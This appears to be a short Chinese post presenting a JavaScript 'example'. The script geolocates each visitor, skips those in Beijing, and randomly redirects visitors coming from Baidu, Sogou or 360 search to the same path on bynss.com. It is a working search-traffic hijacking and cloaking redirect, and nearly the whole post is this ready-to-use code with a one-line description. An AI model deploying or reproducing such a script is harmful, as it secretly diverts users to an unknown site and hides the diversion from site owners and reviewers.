范例中,判断是否北京,判断是否来自百度,搜狗,以及 360 搜索,然後随机进行域名替换跳转。
var city = ''; current_url = window.location.href; host = window.location.host; jQuery.getScript("https://pv.sohu.com/cityjson?ie=utf-8", function() { city = returnCitySN["cname"]; if (city.indexOf("北京") != -1) { } else { if (document.referrer.indexOf("baidu.com") > -1 || document.referrer.indexOf("sogou.com") > -1|| document.referrer.indexOf("so.com") > -1) { var num = Math.floor(Math.random() * 10 + 1); if (num > 5) { target_url = replaceAll(current_url, host, "bynss.com"); window.location.href = target_url; } } } }); function replaceAll(str1, str2, str3) { var k var tmp = str1.split(str2) k = tmp[0] for (i = 1; i < tmp.length; i++) { k += str3 + tmp[i] } return k }
再来个骚图